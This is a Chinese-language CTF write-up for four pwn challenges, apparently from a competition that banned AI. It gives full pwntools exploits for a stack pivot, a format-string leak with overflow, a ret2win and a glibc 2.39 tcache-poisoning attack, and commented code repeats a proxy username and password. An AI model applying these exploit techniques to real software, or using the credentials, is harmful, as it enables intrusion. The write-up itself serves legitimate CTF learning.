前言
好久没写文章了,最近打了个比较简单的比赛就写一下,这比赛可能是考虑到禁了ai吧,比赛的pwn题都挺简单,不过吧,禁的效果就........这个堆题一血我记得是4分钟就写出来了,非常厉害啊,不过是不是人类非常厉害呢?栈题都很简单就不贴源码分析了。
pwn_rpg
题目开始就提示了Stack Pivot,后面input_name的确能溢出8字节来控制rbp,因为scanf的写入地址是由rbp控制的
.text:0000000000400A6F lea rax, [rbp-4]
.text:0000000000400A73 mov rsi, rax
所以控制了rbp就控制了写入的位置所以可以往emy_hp写值,把值改成1,尽管后面会加1血也只有2,后续战斗直接attack就可以获胜然后getshell。
exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
p = remote('psdxs.idss-cn.com',29878)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
tar=0x60208C
ru(b"Enter your name:")
pay=0x50*b'b'+p64(tar+4)
sd(pay)
ru(b"How many hp do you want to give (0-10000):")
slr(1)
ru(b'>')
slr(1)
ti()
guarded_echo
有pie,前面利用随机数形成了类似canary的检测,后续echo_phase有格式化字符串漏洞,利用格式化字符串泄露出win函数的地址和随机数,后续read_payload_length输入长度只能输入0x30-0x39,否则会直接exit,先输入0x39再输入0x38后面guarded_input输入的长度就有0x62大于缓冲区的0x50,栈溢出返回后门函数即可。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
p = remote('psdxs.idss-cn.com',24041)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
pay=b'bbb.%6$p.%9$p.aaa'
ru("guarded echo> ")
sl(pay)
ru(b'b'*3)
a,back,can,c=ru(b'a'*3).decode().split('.')
back=int(back,16)
can=int(can,16)
ru(b"Payload length: ")
sl(p8(0x39)+p8(0x38))
ru(b"payload> ")
pay=0x40*b'b'+p64(can)+b'b'*0x10+p64(back)
pay=pay.ljust(0x62,b'b')
sd(pay)
ti()
Return_Postcard
直接栈溢出返回后门函数。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
context.log_level='debug'
context.arch='amd64'
flag = 1
if flag:
p = remote('psdxs.idss-cn.com',20453)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
tar=0x401221
pay=0x48*b'b'+p64(tar)
p.sendline(pay)
ti()
tcache---vault
这里我把源码贴上来,应该是我太菜了四分钟连源码都看不完,有pie保护。
int __fastcall main(int argc, const char **argv, const char **envp)
{
__time_t tv_sec; // r12
unsigned __int64 v4; // rbx
__int64 n16; // rcx
_DWORD *v6; // rdi
__int64 session_nonce_1; // rdx
__int64 v8; // rax
unsigned __int64 v9; // rax
__time_t tv_sec_1; // rbx
unsigned __int8 *v11; // r12
unsigned __int8 *v12; // rbx
unsigned __int8 *v13; // r12
__time_t tv_sec_2; // rbx
char *p_s; // rcx
unsigned __int64 v16; // rdx
unsigned int v17; // eax
char v18; // al
char *vault_candidate; // r12
unsigned __int64 n0x3F; // rbx
ssize_t v21; // rax
__int64 v22; // rax
unsigned __int64 v23; // rax
__syscall_slong_t p_session_nonce; // [rsp+8h] [rbp-78h] BYREF
timespec tp; // [rsp+10h] [rbp-70h] BYREF
char s[16]; // [rsp+20h] [rbp-60h] BYREF
char v28; // [rsp+30h] [rbp-50h] BYREF
unsigned __int64 v29; // [rsp+48h] [rbp-38h]
v29 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x3Cu);
p_session_nonce = 0;
if ( getrandom(&p_session_nonce, 8, 0) != 8 )
{
clock_gettime(1, &tp);
p_session_nonce = tp.tv_nsec ^ (tp.tv_sec << 32);
p_session_nonce ^= (__int64)getpid() << 17;
}
if ( !p_session_nonce )
p_session_nonce = 0x1F123BB5A77D909DLL;
session_nonce = p_session_nonce;
vault_area = 0;
xmmword_4060 = 0;
xmmword_4070 = 0;
xmmword_4080 = 0;
puts("=== Tcache Vault / relic audit console ===");
puts("All allocations use one fixed archival class.");
if ( (unsigned int)action_count <= 0xF )
{
while ( 2 )
{
puts("\n1. store relic");
puts("2. release relic");
puts("3. audit released relic");
puts("4. calibrate released relic");
puts("5. stage vault candidate");
puts("6. unlock vault");
puts("7. leave");
if ( (int)read_number("> ", &p_session_nonce) >= 0 )
{
++action_count;
switch ( p_session_nonce )
{
case 1LL:
if ( (int)read_number("slot: ", &tp) < 0 )
goto LABEL_35;
tv_sec = tp.tv_sec;
if ( tp.tv_sec > 2uLL )
goto LABEL_35;
if ( states[tp.tv_sec] )
{
puts("slot already used");
}
else
{
v4 = (unsigned __int64)malloc(0x40u);
if ( !v4 )
{
puts("allocation failed");
exit(1);
}
n16 = 16;
v6 = (_DWORD *)v4;
while ( n16 )
{
*v6++ = 0;
--n16;
}
session_nonce_1 = session_nonce;
*(_QWORD *)(v4 + 16) = session_nonce ^ __ROL8__(v4 >> 12, 9) ^ 0xA5D4C39B72E1680FLL;
*(_QWORD *)(v4 + 24) = __ROL8__(session_nonce_1, 17)
^ (unsigned __int64)audit_event
^ __ROR8__(v4 >> 12, 7)
^ 0x6B18F4E29D730AC5LL;
v8 = __ROL8__(reward, 13);
v9 = 0x9E6C63D0676A9A99LL
* (((v4 ^ tv_sec ^ session_nonce_1 ^ v8 ^ 0xD6E8FEB86659FD93LL) >> 29)
^ v4
^ tv_sec
^ session_nonce_1
^ v8
^ 0xD6E8FEB86659FD93LL);
*(_QWORD *)(v4 + 32) = HIDWORD(v9) ^ v9;
fwrite("label: ", 1u, 7u, _bss_start);
if ( (int)read_line(v4 + 40, 24) < 0 )
exit(0);
*((_QWORD *)&slots + tv_sec) = v4;
states[tv_sec] = 1;
audit_event(*(_QWORD *)(v4 + 32));
puts("relic stored");
}
goto LABEL_73;
case 2LL:
if ( (int)read_number("slot: ", &tp) < 0 )
goto LABEL_35;
tv_sec_1 = tp.tv_sec;
if ( tp.tv_sec > 2uLL )
goto LABEL_35;
if ( states[tp.tv_sec] == 1 )
{
free(*((void **)&slots + tp.tv_sec));
states[tv_sec_1] = 2;
puts("relic released; audit reference retained");
}
else
{
puts("slot is not live");
}
goto LABEL_73;
case 3LL:
if ( (int)read_number("slot: ", &tp) < 0 || tp.tv_sec > 2uLL )
goto LABEL_35;
if ( states[tp.tv_sec] == 2 )
{
v11 = (unsigned __int8 *)*((_QWORD *)&slots + tp.tv_sec);
fwrite("DATA: ", 1u, 6u, _bss_start);
v12 = v11;
v13 = v11 + 64;
do
__printf_chk(1, "%02x", *v12++);
while ( v12 != v13 );
putc(10, _bss_start);
}
else
{
puts("only released relics can be audited");
}
goto LABEL_73;
case 4LL:
if ( (int)read_number("slot: ", &tp) < 0 || (tv_sec_2 = tp.tv_sec, tp.tv_sec > 2uLL) )
{
LABEL_35:
puts("invalid slot");
goto LABEL_73;
}
if ( states[tp.tv_sec] != 2 )
{
puts("only released relics can be calibrated");
goto LABEL_73;
}
fwrite("next (16 hex digits): ", 1u, 0x16u, _bss_start);
if ( (int)read_line(s, 40) < 0 || strlen(s) != 16 )
goto LABEL_46;
p_s = s;
v16 = 0;
do
{
v18 = *p_s;
if ( (unsigned __int8)(*p_s - 48) > 9u )
{
if ( (unsigned __int8)(v18 - 97) > 5u )
{
if ( (unsigned __int8)(v18 - 65) > 5u )
{
LABEL_46:
puts("invalid patch");
goto LABEL_73;
}
v17 = v18 - 55;
}
else
{
v17 = v18 - 87;
}
}
else
{
v17 = v18 - 48;
}
v16 = v17 | (16 * v16);
++p_s;
}
while ( &v28 != p_s );
**((_QWORD **)&slots + tv_sec_2) = v16;
puts("calibration written");
goto LABEL_73;
case 5LL:
if ( (unsigned int)vault_requests > 1 )
{
puts("vault request quota exhausted");
}
else
{
++vault_requests;
vault_candidate = (char *)malloc(0x40u);
if ( !vault_candidate )
{
puts("allocation failed");
exit(1);
}
fwrite("payload (64 bytes): ", 1u, 0x14u, _bss_start);
for ( n0x3F = 0; n0x3F <= 0x3F; n0x3F += v21 )
{
while ( 1 )
{
v21 = read(0, &vault_candidate[n0x3F], 64 - n0x3F);
if ( !v21 )
LABEL_58:
exit(0);
if ( v21 >= 0 )
break;
if ( *__errno_location() != 4 )
goto LABEL_58;
}
}
::vault_candidate = (__int64)vault_candidate;
puts("candidate staged");
}
LABEL_73:
if ( (unsigned int)action_count <= 0xF )
continue;
goto LABEL_76;
case 6LL:
if ( ::vault_candidate )
{
if ( (__int128 *)::vault_candidate == &vault_area )
{
if ( vault_area == __PAIR128__(session_nonce, 0x5641554C545F4F4BLL) )
{
v22 = __ROL8__(reward, 13);
v23 = 0x9E6C63D0676A9A99LL
* (((*((_QWORD *)&vault_area + 1) ^ (unsigned __int64)&vault_area ^ v22 ^ 0xD6E8FEB86659FD93LL) >> 29)
^ *((_QWORD *)&vault_area + 1)
^ (unsigned __int64)&vault_area
^ v22
^ 0xD6E8FEB86659FD93LL);
if ( (_QWORD)xmmword_4060 == (HIDWORD(v23) ^ v23) )
{
if ( *((__int64 (__fastcall **)(_QWORD))&xmmword_4060 + 1) == reward )
{
BYTE7(xmmword_4080) = 0;
reward(&xmmword_4070);
exit(0);
}
puts("[vault] callback mismatch");
}
else
{
puts("[vault] checksum mismatch");
}
}
else
{
puts("[vault] seal mismatch");
}
}
else
{
puts("[vault] candidate is outside the sealed chamber");
}
}
else
{
puts("no candidate staged");
}
goto LABEL_73;
case 7LL:
puts("session closed");
return 0;
default:
puts("unknown action");
goto LABEL_73;
}
}
break;
}
}
LABEL_76:
puts("audit action limit reached");
return 0;
}
详细的就不一步步分析了,讲一下关键点,switch就类似菜单一样的只是不像大部分堆题各部分单独用函数而已,read_number就是打印第一个参数,读取一行作为长整数写入第二个参数。tp.tv_sec就是index,slots是链表,states就是状态,1是使用2是free。总体看下来就是普通的堆题,有show,申请长度固定0x40,有UAF,edit写入是通过
**(&slots + tv_sec_2) = v16;
来写入的,可以看见直接改的位置就是fd的位置,甚至还明确提示了,必须是free的states才能edit,相当保姆了,只是edit要输入16进制的字符串不能直接p64注意一下就可以了。有后门函数,而且主程序还能调用后门函数,满足这些条件即可
if ( ::vault_candidate )
{
if ( ::vault_candidate == &vault_area )
{
if ( vault_area == __PAIR128__(session_nonce, 0x5641554C545F4F4BLL) )
{
v22 = __ROL8__(reward, 13);
v23 = 0x9E6C63D0676A9A99LL
* (((*(&vault_area + 1) ^ &vault_area ^ v22 ^ 0xD6E8FEB86659FD93LL) >> 29)
^ *(&vault_area + 1)
^ &vault_area
^ v22
^ 0xD6E8FEB86659FD93LL);
if ( xmmword_4060 == (HIDWORD(v23) ^ v23) )
{
if ( *(&xmmword_4060 + 1) == reward )
{
BYTE7(xmmword_4080) = 0;
reward(&xmmword_4070);//!!!!!!!!!
exit(0);
稍微讲一下malloc他初始化的操作
{
v4 = malloc(0x40u);
if ( !v4 )
{
puts("allocation failed");
exit(1);
}
n16 = 16;
v6 = v4;
while ( n16 )
{
*v6++ = 0;
--n16;
}
session_nonce_1 = session_nonce;//session_nonce是随机值,不可预测
*(v4 + 16) = session_nonce ^ __ROL8__(v4 >> 12, 9) ^ 0xA5D4C39B72E1680FLL;
*(v4 + 24) = __ROL8__(session_nonce_1, 17) ^ audit_event ^ __ROR8__(v4 >> 12, 7) ^ 0x6B18F4E29D730AC5LL;
v8 = __ROL8__(reward, 13);
v9 = 0x9E6C63D0676A9A99LL
* (((v4 ^ tv_sec ^ session_nonce_1 ^ v8 ^ 0xD6E8FEB86659FD93LL) >> 29)
^ v4
^ tv_sec
^ session_nonce_1
^ v8
^ 0xD6E8FEB86659FD93LL);
*(v4 + 32) = HIDWORD(v9) ^ v9;
fwrite("label: ", 1u, 7u, _bss_start);
if ( read_line(v4 + 40, 24) < 0 )
exit(0);
*(&slots + tv_sec) = v4;
states[tv_sec] = 1;
audit_event(*(v4 + 32));
puts("relic stored");
}
这里我介绍一下ida反编译出来的几个宏
HIDWORD即high DWORD dword是双字的意思,一个字2字节所以就是高4字节所以HIDWORD(v23) ^ v23就是(v23>>32)^v23
__PAIR128__简单来说就是把这两个参数拼一起,但在我们64位系统中,实际上就是0x8:0x5641554C545F4F4BLL,0x10:session_nonce
顺便一提0x5641554C545F4F4BLL就是'VAULT_OK'注意小端序即可
__ROL8__循环左移,我们解这题不需要知道他是什么,python里有这个函数,这个8也没有用,直接看汇编就能看出来旁边就是左移的位数
如rol rcx, 9
__ROR8__循环右移,我们解这题不需要知道他是什么,python里有这个函数,这个8也没有用,直接看汇编就能看出来旁边就是右移的位数
写题先可以发现audit_event是一个函数,所以我们只要知道他的地址就可以泄露出pie了,因为这题版本是2.39,所以有safe_linking所以我们只要释放一个堆块再show就可以有堆地址>>12(v4 >> 12)的值了,又因为他show可以泄露堆的信息,我们根据堆地址+0x10(*(v4 + 16))的值就可以求出session_nonce,知道session_nonce和堆地址>>12根据 *(v4 + 24)就可以求出来audit_event即求出程序基地址,然后我们打tcache attack往vault_area改值满足后门函数的条件然后调用后门函数即可。exp如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
flag = 1
if flag:
p=remote('psdxs.idss-cn.com',25946)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def rol8(value, shift):
shift %= 8
return ((value << shift) | (value >> (8 - shift))) & 0xFF
def cmd(s):
ru(b"> ")
slr(s)
def add(a,b):
cmd(1)
ru(b"slot: ")
slr(a)
ru(b"label: ")
sl(b)
def free(a):
cmd(2)
ru(b"slot: ")
slr(a)
def show(a):
cmd(3)
ru(b"slot: ")
slr(a)
ru(b"DATA: ")
def add1(b):
cmd(5)
ru(b"payload (64 bytes): ")
sd(b)
def edit(a,b):
cmd(4)
ru(b"slot: ")
slr(a)
ru(b"next (16 hex digits): ")
sl(b)
a=0x1F123BB5A77D909D
add(0, b'AAAA')
free(0)
show(0)
buf=rcl()
buf=unhex(buf)
add(1, b'AAAA')
add(2, b'AAAA')
heap=u64(buf[0:8])
a1=u64(buf[16:24])
a2=u64(buf[24:32])
ph(heap)
non=a1^0xA5D4C39B72E1680F^rol(heap,9)
pie=a2^ror(heap,7)^rol(non,17)^0x6B18F4E29D730AC5
pie-=0x1279
back=pie+0x12A6
tar=pie+0x4050
ph(heap)
free(2)
free(1)
edit(1,str(f"{(heap^tar):016x}"))
add1(b'b'*0x40)
b=rol(back,13)
c=((non^tar^b^0xD6E8FEB86659FD93)>>29)
d=(c^non^tar^b^0xD6E8FEB86659FD93)
res=(0x9E6C63D0676A9A99*d)&(0xFFFFFFFFFFFFFFFF)
res=(res >> 32) ^ res
add1(b'KO_TLUAV'+p64(non)+p64(res)+p64(back)+b'\x00'*0x20)
ti()
虽然这题除了逆向看的人烦之外的确不难,但我还是想说,一血4分钟就解出来,非常厉害啊,不过我不记得人家名字不知道有没有ban就是了。